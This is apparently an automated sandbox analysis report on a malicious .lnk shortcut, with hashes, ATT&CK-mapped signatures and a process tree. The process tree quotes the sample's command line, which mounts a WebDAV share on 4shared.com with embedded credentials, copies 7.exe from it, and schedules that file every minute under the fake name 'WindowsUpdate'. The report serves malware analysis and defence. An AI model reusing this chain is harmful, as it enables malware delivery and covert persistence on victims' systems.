9f6e11bd6d07852d67b6469eae09fd09b71c30db02668c2d5838dfcd6cb33f1c

Analysis

max time kernel
143s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
07/09/2023, 18:33

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General

Target
482.lnk
Size 1KB
Sample230907-w665sada26
SHA256 9f6e11bd6d07852d67b6469eae09fd09b71c30db02668c2d5838dfcd6cb33f1c
MD5 f61cbfa1809a3c8dae3dafee8fab039b
SHA1 7d18d1cc72e41478de90fb44368a5d30a936e38c
SHA512 2f775fefc67412600e7c097ba080fd9024f2db49cf2873bc4d58c95bd0d68ef827cc2550d7b785f75be6420e0998e04b517b15be10a711541f7265dff9b4a1a8
MD5 SHA1 SHA512

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4272677097-406801653-1594978504-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	net.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1284	schtasks.exe

Runs net.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3660 wrote to memory of 2540	3660	cmd.exe	87
PID 3660 wrote to memory of 2540	3660	cmd.exe	87
PID 2540 wrote to memory of 380	2540	cmd.exe	88
PID 2540 wrote to memory of 380	2540	cmd.exe	88
PID 2540 wrote to memory of 1752	2540	cmd.exe	89
PID 2540 wrote to memory of 1752	2540	cmd.exe	89
PID 2540 wrote to memory of 1284	2540	cmd.exe	90
PID 2540 wrote to memory of 1284	2540	cmd.exe	90
PID 2540 wrote to memory of 1924	2540	cmd.exe	91
PID 2540 wrote to memory of 1924	2540	cmd.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\482.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3660
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /c "net use Q: https://webdav.4shared.com dE}9tBDaFK'Y%uv /user:[email protected] & expand \\webdav.4shared.com@SSL\aa\7.exe 7.exe & schtasks /create /sc minute /mo 1 /tn WindowsUpdate /tr %cd%/7.exe & net use * /d /y"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\net.exe
    net use Q: https://webdav.4shared.com dE}9tBDaFK'Y%uv /user:[email protected]
    3⤵
    - Enumerates connected drives
    PID:380
- - C:\Windows\system32\expand.exe
    expand \\webdav.4shared.com@SSL\aa\7.exe 7.exe
    3⤵
    PID:1752
- - C:\Windows\system32\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn WindowsUpdate /tr C:\Users\Admin\AppData\Local\Temp/7.exe
    3⤵
    - Creates scheduled task(s)
    PID:1284
- - C:\Windows\system32\net.exe
    net use * /d /y
    3⤵
    PID:1924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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